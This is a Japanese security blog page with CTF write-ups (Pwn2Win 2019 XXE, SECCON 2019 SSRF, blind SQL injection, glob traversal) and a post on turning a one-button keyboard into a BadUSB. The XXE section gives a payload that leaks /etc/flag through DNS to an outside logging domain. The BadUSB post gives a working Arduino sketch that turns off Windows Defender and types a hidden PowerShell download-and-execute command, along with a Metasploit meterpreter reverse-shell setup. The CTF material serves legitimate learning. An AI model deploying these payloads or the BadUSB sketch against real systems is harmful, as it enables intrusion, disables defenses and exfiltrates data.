こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

Pwn2Win CTF 2019 Writeup - Baby Recruiter

Question

We found a Curriculum service from HARPA. Well, what do you think about pwn it? :)
P.S.: the flag is not in default format, so add CTF-BR{} when you find it (leet speak).

f:id:graneed:20191110221706p:plain

添付のソースコードは以下のとおり。

setup.sh

#!/bin/bash

# build docker
docker build -t babyrecruiter .

# setup firewall
docker run --cap-add=NET_ADMIN  -p 80:80 -it babyrecruiter /bin/bash -c 'chmod +x iptables.sh && ./iptables.sh && rm iptables.sh'

iptables.sh

#!/bin/bash
IPT="/sbin/iptables"

# Server IP
SERVER_IP="$(ip addr show eth0 | grep 'inet ' | cut -f2 | awk '{ print $2}')"

echo "flush iptable rules"
$IPT -F
$IPT -X
$IPT -t nat -F
$IPT -t nat -X
$IPT -t mangle -F
$IPT -t mangle -X

echo "Set default policy to 'DROP'"
$IPT -P INPUT   DROP
$IPT -P FORWARD DROP
$IPT -P OUTPUT  DROP

## This should be one of the first rules.
## so dns lookups are already allowed for your other rules
$IPT -A OUTPUT -p udp --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT
$IPT -A INPUT  -p udp --sport 53 -m state --state ESTABLISHED     -j ACCEPT
$IPT -A OUTPUT -p tcp --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT
$IPT -A INPUT  -p tcp --sport 53 -m state --state ESTABLISHED     -j ACCEPT


echo "allow all and everything on localhost"
$IPT -A INPUT -i lo -j ACCEPT
$IPT -A OUTPUT -o lo -j ACCEPT

#######################################################################################################
## Global iptable rules. Not IP specific

echo "Allowing new and established incoming connections to port 80"
$IPT -A INPUT  -p tcp -m multiport --dports 80 -m state --state NEW,ESTABLISHED -j ACCEPT
$IPT -A OUTPUT -p tcp -m multiport --sports 80 -m state --state ESTABLISHED     -j ACCEPT

# Log before dropping
$IPT -A INPUT  -j LOG  -m limit --limit 12/min --log-level 4 --log-prefix 'IP INPUT drop: '
$IPT -A INPUT  -j DROP

$IPT -A OUTPUT -j LOG  -m limit --limit 12/min --log-level 4 --log-prefix 'IP OUTPUT drop: '
$IPT -A OUTPUT -j DROP

exit 0

Dockerfile

FROM ubuntu:18.04

ENV DEBIAN_FRONTEND=noninteractive 

# install web server
RUN apt-get update

RUN apt install -y apache2 curl php libapache2-mod-php php-mysql php-xml gdebi wget iptables net-tools

# we really don't like hackers
RUN find / -name "*.dtd" -type f -delete

RUN find / -name "*.xml" -type f -delete

# install prince
WORKDIR /tmp

RUN wget https://www.princexml.com/download/prince_12.5-1_ubuntu18.04_amd64.deb

RUN gdebi --option=APT::Get::force-yes="true" --option=APT::Get::Assume-Yes="true" -n prince_12.5-1_ubuntu18.04_amd64.deb

# setup webserver
WORKDIR /var/www/html

COPY . . 

RUN rm -rf index.html Dockerfile && mkdir resumes

RUN chmod 777 resumes

RUN echo '' > resumes/index.html 

# create a flag
RUN echo -n 'this_is_not_the_flag' > /etc/flag

RUN chmod +x iptables.sh && ./iptables.sh

RUN rm iptables.sh

# start web service
RUN service apache2 start

EXPOSE 1337
CMD apachectl -D FOREGROUND

index.php

<?php  
    $binary = "/usr/bin/prince";

    stream_wrapper_unregister("phar");
    stream_wrapper_unregister("data");
    stream_wrapper_unregister("glob");
    stream_wrapper_unregister("compress.zlib");
    stream_wrapper_unregister("php");

    if ($_SERVER['REQUEST_METHOD'] == 'POST') {

    /* create resume using prince */
    $content = $_POST['content'];
    $filename = md5($_SERVER['REMOTE_ADDR']);
    $file = "/tmp/" . $filename  . ".html";
    $sf = fopen($file, 'w');
    fwrite($sf, $content);
    fclose($sf);

    exec($binary . " --no-local-files " . $file . " -o resumes/" . $filename . ".pdf");

    /* debug */
    $dom = new DOMDocument();
    $dom->loadXML($content, LIBXML_NOENT | LIBXML_DTDLOAD);
    $info = simplexml_import_dom($dom);
    
    /*$page = '
    <html>
    <head>
        <title>Resumes</title>
        <style>
            textarea {
            width: 500px;
            height: 300px;
        }
        </style>
    </head>
        <body>
            <span>name: ' . $info->name . '</span><br><br>
        </body>
    </html>
        ';

    echo $page;*/

    header('Location: /resumes/' .  $filename . '.pdf');
    } else {
        echo '
            <html>
            <head>
                <title>Resume</title>
                <style>
                    textarea {
                    width: 500px;
                    height: 300px;
                }
                </style>
            </head>
                <body>
                    <h1>Apply today!</h1>
                    <span>Good enough to work with HARPA? send us you resume: </span><br>
                    <textarea name="content" form="princeForm">Enter text here...</textarea>
                    <form method="POST" action="/index.php" id="princeForm">
                        <input type="submit" value="Convert to PDF"></input>
                    </form>
                </body>
            </html>
                ';
    }

Solution

ソースコード解析

ソースコードを読み解くと以下のことがわかる。

  • フラグファイルは/etc/flagに存在。
  • 外部への通信はDNSのみ可能。
  • 入力データを/tmp/配下にファイル出力。ファイル名はクライアントのIPアドレスmd5計算したもの。
  • princeというツールを使用してHTMLからPDFに変換。
  • デバッグ用に入力データをloadXMLでパース。

調査

princeの既知の脆弱性を疑って検索すると以下の記事がHITする。
www.corben.io

index.phpソースコードと酷似しているが、今回の問題は最新のprinceを使用しているためこの脆弱性は使用できない。

次にloadXMLを使用している点からXXEを疑う。 XMLのパース結果は直接レスポンスとして返ってこないため、OOB XXE Attackの使用を考える。
github.com

OOB XXE Attackには別途DTDファイルが必要だが、iptablesで外部への通信はDNS以外ブロックされている。 そこで、入力データを/tmp/配下にファイル出力していることを利用し、サーバ内にDTDファイルを作成させる。

なお、同じIPアドレスからDTDファイルの作成リクエストとDTDファイルを参照させるリクエストを発行すると、ファイルが上書きされてしまうが、送信元のIPアドレスを変えればサーバ内にDTDファイルを残した状態にできる。

リーク先の通信もブロックされるが、昨今のマルウェアやウィルス対策ソフトのように、DNSサブドメインを使用してリークさせればよい。

exploit

1. ドメイン用意

以下のサービスを利用して、DNSサブドメインへのクエリを確認できるドメインを払い出す。 dnsbin.zhack.ca

51a19e650babb6f295ed.d.zhack.caが払い出された。

2. DTDファイル作成

取得したドメインをセットして以下を送信する。

<!ENTITY % all "<!ENTITY send SYSTEM 'http://%file;.51a19e650babb6f295ed.d.zhack.ca/'>">
%all;

curlコマンドにすると以下のとおり。

$ curl http://167.71.102.84/index.php -d "content=%3C%21ENTITY+%25+all+%22%3C%21ENTITY+send+SYSTEM+%27http%3A%2F%2F%25file%3B.51a19e650babb6f295ed.d.zhack.ca%2F%27%3E%22%3E%0D%0A%25all%3B" -v
*   Trying 167.71.102.84...
* TCP_NODELAY set
* Connected to 167.71.102.84 (167.71.102.84) port 80 (#0)
> POST /index.php HTTP/1.1
> Host: 167.71.102.84
> User-Agent: curl/7.58.0
> Accept: */*
> Content-Length: 145
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 145 out of 145 bytes
< HTTP/1.1 302 Found
< Date: Sun, 10 Nov 2019 02:31:54 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Location: /resumes/5e870399feeb3947c7f6c27b3ee0d71e.pdf
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 167.71.102.84 left intact

レスポンスのLocationヘッダのPDFファイル名と同じファイル名(拡張子はhtml)で、/tmp/DTDファイルが生成されているはずである。

3. リーク要求

2とは別のIPアドレスから以下を送信する。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM "file:///etc/flag">
  <!ENTITY % dtd SYSTEM "/tmp/5e870399feeb3947c7f6c27b3ee0d71e.html">
  %dtd;
]>
<data>&send;</data>

すると、DNSBinにクエリが来た。
c0ngr4tz_y0u_w3r3_4ccpt3d

CTF-BR{}で括ったものがフラグ。
CTF-BR{c0ngr4tz_y0u_w3r3_4ccpt3d}

ワンボタンキーボードにMetasploitにセッションを張る機能を組み込む

タイトルのとおり、ワンボタンキーボードに"アレ"な機能を組み込む方法です。

1. 経緯

先日の技術書典7でワンボタンキーボードを購入しました。

www.one-button-key.com

組み立てに半田ごてが必要であるため、少々手を出しづらく未開封のままでしたが、 社内の勉強会用のネタを作成するために試すことにしました。

ワンボタンキーボードのキーには、好きなキーボード入力を割り当て可能です。

何の機能を組み込むか悩みましたが、一応、セキュリティ関係の勉強会ということで、 Metasploitにセッションを張る機能を組み込むことにしました。

この時点で「それなんてBadUSB?」と思う方がおられるかと思いますが、はい、そのとおりです。

8月のDEFCON会場で購入したUSB Rubber Duckyを使用してBadUSBの作成実験をしたことがありますが、考え方は同様です。

なお、BadUSBの作成においては技術書典6でipusiron氏が頒布されていた『ハッキング・ラボのそだてかた ミジンコでもわかるBadUSB』を参照しました。 特に日本語キーボード関連の解説には助けられました。

【ダウンロード版】『ハッキング・ラボのそだてかた ミジンコでもわかるBadUSB』(PDF版) - HACK - BOOTH

2. 組み立て

以下の記事のとおり進めていくだけです。

www.shumi-tech.online

半田ごて経験が「Raspberry Piに接続する湿度センサーの組み立て(2か所くらいとめるだけ)」「DEFCON 27のSoldering Villageでバッジを組み立て(なお失敗して全く点灯せず終了した模様)」という豊富な経験を持つ私でも、YouTubeの半田ごての使い方動画を見ながら見様見真似で組み立てることができました。

3. プログラミング

3-1. 環境準備および練習

こちらも、以下の記事のとおりに進めていくだけです。

www.shumi-tech.online

途中、接続したワンボタンキーボードが、デバイスマネージャーでもArduino IDEでも認識されないトラブルがありました。 結果、手元にあったmicroUSBケーブルが充電用だったことが原因で、ケーブルを変更したところ無事認識しました。 これで1時間程度溶けました。マヌケですね。

まずはサンプルのとおりCtrl + Vの機能を書き込み、キーを押下して動作するか確認すればOKです。

3-2. Metasploit接続機能の組み込み

Metasploitにセッションを張る機能を組み込みます。
キーボードによる操作シナリオは以下のとおりです。

  1. Ctrl + Escキーを押下しスタートメニューを開く
  2. "virus"というワードを入力してエンターキーを押下し「ウィルスと脅威の防止」のウィンドウを開く
  3. TABキーを4回押下、エンターキーを押下し、「ウィルスと脅威の防止の設定」画面に遷移する
  4. スペースキーを押下し、リアルタイム保護をオフにしようとし、UAC(ユーザーアカウント制御)の画面を表示する
  5. Alt + yキーを押下し「はい」を選択する
  6. Alt + F4キーで「ウィルスと脅威の防止の設定」のウィンドウを閉じる
  7. Win + rキーを押下し「ファイル名を指定して実行」ダイアログを開き、PowerShellでMetasploitにセッションを張るスクリプトをダウンロードおよび実行する。

2の操作はOSのバージョンや環境によって異なると思います。もっと確実な方法がありそうですが、実験ということでこれで。

なお、Windows Defenderのリアルタイム保護をオフする方法として、以前まではPowerShellSet-MpPreference -DisableRealtimeMonitoring $trueを実行するだけでオフにできたようですが、 Windows10 1903からは出来なくなった模様。よってGUIをキーボードで操作しています。

上記の操作シナリオを、Arduinoのスケッチに落とし込むと以下になります。

#include "Keyboard.h"

#define PIN_KEYSW (9)

int prevKeyState;
int currKeyState;

void setup() {
  pinMode(PIN_KEYSW, INPUT_PULLUP);
  prevKeyState = HIGH;
  currKeyState = HIGH;

  Keyboard.begin();
}

void loop() {
  currKeyState = digitalRead(PIN_KEYSW);

  // キースイッチが押された
  if ((prevKeyState == HIGH) && (currKeyState == LOW)) {
    // ↓↓↓ ここに好きなキー入力を書く ↓↓↓
    Keyboard.press(KEY_LEFT_CTRL);
    Keyboard.press(KEY_ESC);
    delay(10);
    Keyboard.releaseAll(); 
    
    delay(1000);
    Keyboard.print("virus");
    delay(1000);
    Keyboard.press(KEY_RETURN);
    delay(10);
    Keyboard.releaseAll(); 

    delay(2000);
    Keyboard.press(KEY_TAB);
    delay(10);
    Keyboard.releaseAll(); 
    delay(400);
    Keyboard.press(KEY_TAB);
    delay(10);
    Keyboard.releaseAll(); 
    delay(400);
    Keyboard.press(KEY_TAB);
    delay(10);
    Keyboard.releaseAll(); 
    delay(400);
    Keyboard.press(KEY_TAB);
    delay(10);
    Keyboard.releaseAll(); 
    delay(400);
    Keyboard.press(KEY_RETURN);
    delay(10);
    Keyboard.releaseAll(); 

    delay(1000);
    Keyboard.press(0x20);
    delay(10);
    Keyboard.releaseAll(); 

    delay(2000);
    Keyboard.press(KEY_LEFT_ALT);
    Keyboard.press('y');
    delay(10);
    Keyboard.releaseAll(); 

    delay(2000);
    Keyboard.press(KEY_LEFT_ALT);
    Keyboard.press(KEY_F4);
    delay(10);
    Keyboard.releaseAll(); 

    delay(2000);
    Keyboard.press(KEY_LEFT_GUI );
    Keyboard.press('r');
    delay(10);
    Keyboard.releaseAll(); 
    delay(1000);
    Keyboard.print("powershell -NoP -NonI -W Hidden -Exec Bypass @iex **new-object net.webclient(.DownloadString*&http'//192.168.1.5'8080/reverse&((@");
    Keyboard.press(KEY_RETURN);
    delay(10);
    Keyboard.releaseAll(); 

    // ↑↑↑ ここまで ↑↑↑
  }

  prevKeyState = currKeyState;
  delay(10);
}

最後のPowerShellコマンドの引数のうち、一部の記号を変換しています。 本当に実行したい元のコマンドは以下のとおりです。

powershell -NoP -NonI -W Hidden -Exec Bypass "iex ((new-object net.webclient).DownloadString('http://192.168.1.5:8080/reverse'))"

これは、Arduinoからの入力は英語配列のキーボードを前提としており、 日本語配列のキーボードを使用している自分のWindows環境では別の記号となってしまうため、 その差異を吸収するための措置です。

なお、変換には以下のような簡単なpythonスクリプトを書いて対応しました。

import sys

table = str.maketrans({
    '=': '_',
    ':': '\'',
    '&': '-',
    '\'': '&',
    '(': '*',
    ')': '(',
    '^': '=',
    '~': '+',
    '{': '}',
    '}': '|',
    '[': ']',
    ']': '\\',
    '"': '@',
    '@': '[',
    '+': ':',
    '*': '"',
    '`': '{',
    '|': '',
})

for l in sys.stdin:
    print(l.translate(table),end="")

4. 実行

4-1. C2サーバ環境の用意

C2サーバに見立てた端末でMetasploitを起動して準備します。

$ cat reverse_tcp.rc
use exploit/multi/script/web_delivery
set LHOST 192.168.1.5
set LPORT 4444
set target 2
set URIPATH reverse
set payload windows/x64/meterpreter/reverse_tcp
exploit

$ msfconsole -r ./reverse_tcp.rc
(snip)
[*] Started reverse TCP handler on 192.168.1.5:4444                                                                                                       
[*] Using URL: http://0.0.0.0:8080/reverse                                                                                                                
[*] Local IP: http://192.168.1.5:8080/reverse                                                                                                             
[*] Server started.                                                                                                                                       
[*] Run the following command on the target machine:                                                                                                      
powershell.exe -nop -w hidden -c $T=new-object net.webclient;$T.proxy=[Net.WebRequest]::GetSystemWebProxy();$T.Proxy.Credentials=[Net.CredentialCache]::De
faultCredentials;IEX $T.downloadstring('http://192.168.1.5:8080/reverse');
msf5 exploit(multi/script/web_delivery) > 

準備が整いました。

4-2. ワンボタンキーボード接続&キー押下

被害端末にワンボタンキーボードを接続し、キーを押下します。

画像では伝わりにくいと思いますので動画を用意しました。

5. まとめ

無限の可能性があるワンボタンキーボード。

まずはお試しということで、過去の実験経験を活用し、ややアレな機能を組み込みましたが、アイデア次第で色々な活用方法がありそうです。 また何か思いついたら共有したいと思います。

なお、社内の勉強会でデモした後に「どう?接続して押してみない?」と新人に振ったところ、面倒くさそうな苦笑いで断られました。 あぁ自分も面倒くさいおっさんになったんだなぁと気付かされましたね。

SECCON 2019 Online CTF Writeup - Web

いつものnoranecoチームではなく、心だけは若い2名と本当の若者2名で別チームを作って参加。
残念ながら決勝進出は厳しい得点だったので、12月のSECCONでは別の催し物への参加やnoraneco本隊を応援する。

Option-Cmd-U

Question

No more "View Page Source"!
http://ocu.chal.seccon.jp:10000/index.php

f:id:graneed:20191020160918p:plain

Solution

/index.php?action=sourceソースコードを閲覧可能。

<?php
if ($_GET['action'] === "source"){
    highlight_file(__FILE__);
    die();
}
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>Option-Cmd-U</title>
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.min.css">
        <script defer src="https://use.fontawesome.com/releases/v5.3.1/js/all.js"></script>
    </head>
    <body>
        <div class="container">                
            <section class="hero">
                <div class="hero-body">
                    <div class="container">
                        <h1 class="title has-text-centered has-text-weight-bold">
                            Option-Cmd-U
                        </h1>
                        <h2 class="subtitle has-text-centered">
                            "View Page Source" is no longer required! Let's view page source online :-)
                        </h2>
                        <form method="GET">
                            <div class="field has-addons">
                                <div class="control is-expanded">
                                    <input class="input" type="text" placeholder="URL (e.g. http://example.com)" name="url" value="<?= htmlspecialchars($_GET['url'], ENT_QUOTES, 'UTF-8') ?>">
                                </div>
                                <div class="control">
                                    <button class="button is-link">Submit</button>
                                </div>
                            </div>
                        </form>
                    </div>
                </div>
            </section>
            <section class="section">
                <pre>
                    <!-- src of this PHP script: /index.php?action=source -->
                    <!-- the flag is in /flag.php, which permits access only from internal network :-) -->
                    <!-- this service is running on php-fpm and nginx. see /docker-compose.yml -->
                    <?php
                    if (isset($_GET['url'])){
                        $url = filter_input(INPUT_GET, 'url');
                        $parsed_url = parse_url($url);                        
                        if($parsed_url["scheme"] !== "http"){
                            // only http: should be allowed. 
                            echo 'URL should start with http!';
                        } else if (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) {
                            // local access to nginx from php-fpm should be blocked.
                            echo 'Oops, are you a robot or an attacker?';
                        } else {
                            // file_get_contents needs idn_to_ascii(): https://stackoverflow.com/questions/40663425/
                            highlight_string(file_get_contents(idn_to_ascii($url, 0, INTL_IDNA_VARIANT_UTS46),
                                                               false,
                                                               stream_context_create(array(
                                                                   'http' => array(
                                                                       'follow_location' => false,
                                                                       'timeout' => 2
                                                                   )
                                                               ))));
                        }
                    }
                    ?>
                </pre>
            </section>
        </div>            
    </body>
</html>

idn_to_asciiあたりから、文字コード絡みの問題の匂いがしてくる。

BlackHat2019で発表された以下のネタが怪しい。

https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization-wp.pdf

細かい説明は資料参照ということで割愛するが、

http://nginx/flag.php#:password@example.com

を入力するとフラグが得られた。なお、nginxがどこから来たかというとdocker-compose.ymlに記載されていた。

SECCON{what_a_easy_bypass_314208thg0n423g}

web_search

Question

Get a hidden message! Let's find a hidden message using the search system on the site.
http://web-search.chal.seccon.jp/

f:id:graneed:20191020161508p:plain

Solution

SQL Injectionで攻める問題。

Stage1

実行して返ってきた画面のテキストボックスを確認すると、orスペースカンマが除去されているようなので対策する。
再帰的な除去はされていないため、oorrを入力すればorを除去された結果orになる。(ややこしい言い回し
スペースについては、代わりに/**/を使用する。

定番のやつを実行する。

root@kali:/mnt/CTF/Contest/SECCON2019# curl http://web-search.chal.seccon.jp/ -G --data-urlencode "q='oorr/**/1=1#" -s
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Articles</title>
</head>
<body>

<form action="./" method="get">
    <input type="text" name="q" value="&#039;or/**/id=60#"><input type="submit" value="Search">
</form>
<dl><dt>RFC 748</dt><dd>TELNET RANDOMLY-LOSE Option</dd>(snip)<dt>FLAG</dt><dd>The flag is "SECCON{Yeah_Sqli_Success_" ... well, the rest of flag is in "flag" table. Try more!</dd></dl>
<p>
            Prev
        /
            Next
    </p>

</body>
</html>

これで終わりではないようだ。

Stage2

Blind SQL Injectionで攻める。

以下、スクリプト

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import string
import time

URL = 'http://web-search.chal.seccon.jp/'
target = ""

def trace_request(req):
    print("[+] request start")
    print('{}\n{}\n\n{}'.format(
        req.method + ' ' + req.url,
        '\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()),
        req.body,
    ))
    print("[+] request end")

def trace_response(res):
    print("[+] response start")
    print('{}\n{}\n\n{}'.format(
        res.status_code,
        '\n'.join('{}: {}'.format(k, v) for k, v in res.headers.items()),
        res.content,
    ))
    print("[+] response end")

def challenge(offset, guess):
    req = requests.Request(
        'GET',
        URL,
        params={
            #"q" : "'&&(select ASCII(SUBSTRING(GROUP_CONCAT(table_name) from {} for {})) from information_schema.tables where table_schema=database() limit 1)<'{}'#"
            #"q" : "'&&(select ASCII(SUBSTRING(GROUP_CONCAT(column_name) from {} for {})) from information_schema.columns where table_name='flag' limit 1)<'{}'#"
            "q" : "'&&(select ASCII(SUBSTRING(GROUP_CONCAT(piece) from {} for {})) from flag limit 1)<'{}'#"
            .replace("or","oorr")
            .replace(" ","/**/")
            .format(offset+1, offset + 2, guess)
        }
    )
    prepared = req.prepare()
    #trace_request(prepared)
    session = requests.Session()
    #start = time.time() # TimeBased用
    res = session.send(prepared, allow_redirects = False)
    #elapsed_time = time.time() - start # TimeBased用
    #trace_response(res)

    if "<dl></dl>Error" in res.content.decode("utf-8"):
        print("Error")
        exit(1)
    elif not "No result" in res.content.decode("utf-8"):
        return True # 取得したい文字の文字コードは予想文字の文字コードより小さい
    else:
        return False # 取得したい文字の文字コードは予想文字の文字コード以上

def binarySearch(offset):
    low = 0
    high = 256

    while low <= high:
        guess = (low + high) // 2
        is_target_lessthan_guess = challenge(offset, guess)
        if is_target_lessthan_guess:
            high = guess
        else:
            low = guess

        if high == 1:
            return -1
        elif high - low == 1:
            return low

while True:
    code = binarySearch(len(target))
    if code == -1:
        break
    target += chr(code)
    print("[+] target: " + target)

print("[+] target: " + target)

33行目を有効、34-35行目をコメントアウトして実行してテーブル名を取得。

root@kali:/mnt/CTF/Contest/SECCON2019# python3 BlindSQLInjection_binary.py 
[+] target: f
[+] target: fl
[+] target: fla
[+] target: flag
[+] target: flag,
[+] target: flag,a
[+] target: flag,ar
[+] target: flag,art
[+] target: flag,arti
[+] target: flag,artic
[+] target: flag,articl
[+] target: flag,article
[+] target: flag,articles
[+] target: flag,articles

34行目を有効、33,35行目をコメントアウトして実行して列名を取得。

root@kali:/mnt/CTF/Contest/SECCON2019# python3 BlindSQLInjection_binary.py 
[+] target: p
[+] target: pi
[+] target: pie
[+] target: piec
[+] target: piece
[+] target: piece

35行目を有効、33-34行目をコメントアウトして実行してレコードを取得。

root@kali:/mnt/CTF/Contest/SECCON2019# python3 BlindSQLInjection_binary.py 
[+] target: Y
[+] target: Yo
[+] target: You
[+] target: You_
[+] target: You_W
[+] target: You_Wi
[+] target: You_Win
[+] target: You_Win_
[+] target: You_Win_Y
[+] target: You_Win_Ye
[+] target: You_Win_Yea
[+] target: You_Win_Yeah
[+] target: You_Win_Yeah}
[+] target: You_Win_Yeah}

組み合わせると以下のフラグ。

SECCON{Yeah_Sqli_Success_You_Win_Yeah}

fileserver

Question

I donno apache or nginx things well, I guess I can implement one for myself though. See? It's easy!
http://fileserver.chal.seccon.jp:9292/public/index.html

Due to maintainability, we restart the server of fileserver challenge every 5 minutes.

f:id:graneed:20191020162913p:plain

Solution

http://fileserver.chal.seccon.jp:9292/でソースを取得できる。

app.rb

require 'erb'
require 'webrick'
require 'fileutils'
require 'securerandom'

include WEBrick::HTTPStatus

FileUtils.rm_rf('/tmp/flags')
FileUtils.mkdir_p('/tmp/flags')
FileUtils.cp('flag.txt', "/tmp/flags/#{SecureRandom.alphanumeric(32)}.txt")
FileUtils.rm('flag.txt')

server = WEBrick::HTTPServer.new Port: 9292

def is_bad_path(path)
  bad_char = nil

  %w(* ? [ { \\).each do |char|
    if path.include? char
      bad_char = char
      break
    end
  end

  if bad_char.nil?
    false
  else
    # check if brackets are paired
    if bad_char == ?{
      path[path.index(bad_char)..].include? ?}
    elsif bad_char == ?[
      path[path.index(bad_char)..].include? ?]
    else
      true
    end
  end
end

server.mount_proc '/' do |req, res|
  raise BadRequest if is_bad_path(req.path)

  if req.path.end_with? '/'
    if req.path.include? '.'
      raise BadRequest
    end

    files = Dir.glob(".#{req.path}*")
    res['Content-Type'] = 'text/html'
    res.body = ERB.new(File.read('index.html.erb')).result(binding)
    next
  end

  matches = Dir.glob(req.path[1..])

  if matches.empty?
    raise NotFound
  end

  begin
    file = File.open(matches.first, 'rb')
    res['Content-Type'] = server.config[:MimeTypes][File.extname(req.path)[1..]]
    res.body = file.read(1e6)
  rescue Errno::EISDIR => e
    res.set_redirect(MovedPermanently, req.path + '/')
  end
end

trap 'INT' do server.shutdown end

server.start

ディレクトリトラバーサルで攻める問題のようだ。

Stage1

/tmp/flags/ディレクトリ配下にあるフラグファイル名を特定する。

files = Dir.glob(".#{req.path}*")

先頭に.が付与されreq.pathは/始まりであるため、先頭は./のカレントディレクトリ指定になる。 .も使用不可のため、ディレクトリを上に辿ることができない。

リファレンスマニュアルを確認する。 docs.ruby-lang.org

p Dir.glob("f*\0b*")     # => ["foo", "bar"]

Nullバイトを挟めば、or検索ができるようだ。 これで「先頭の./ or 任意のディレクトリ」をリスティングできる。

root@kali:~# curl http://fileserver.chal.seccon.jp:9292/%00/tmp/flags/ --output -
<!DOCTYPE html>
<meta charset="utf8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Fileserver</title>
<link rel="stylesheet" href="https://unpkg.com/bulmaswatch/cerulean/bulmaswatch.min.css">
<section class="section">
  <div class="container">
    <h1 class="title">Index of //tmp/flags/</h1>
    <div class="list is-hoverable">
      
        <a class="list-item" href="/./">./</a>
      
        <a class="list-item" href="//tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt">/tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt</a>
      
    </div>
    <hr>
    <span class="is-italic">WEBrick/1.5.0 (Ruby/2.6.5/2019-10-01) Server at fileserver.chal.seccon.jp:9292</span>
  </div>
</section>

Stage2

ファイル名を特定できた。 次にファイルの内容を取得する。

 matches = Dir.glob(req.path[1..])

先頭1文字が除去されてしまうため、 http://localhost:9292/tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txtにアクセスしても、サーバ内でtmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txtを読みに行こうとしてしまう。 http://localhost:9292//tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txtもダメ。このコードに到達するまでに自動でURLが正規化されるようだ。

よって、{hoge,/tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt}のように、ブラケットを使用したOR指定をする。 ただ、{}記号を使用するとis_bad_path関数で弾かれる。

is_bad_path関数には問題があり、{記号より先に[記号の有無をチェックし、[記号が存在した場合は{記号はチェックしない。 そして、相対する]記号が無ければ問題ないと判断しチェックが通る。

まとめると、{[,/tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt}をパスにセットすればよい。 curlで実行する場合は{}[記号はURLエンコードしておく。

root@kali:~# curl http://fileserver.chal.seccon.jp:9292/%7B%5B,/tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt%7D
SECCON{You_are_the_Globbin'_Slayer}

フラグゲット。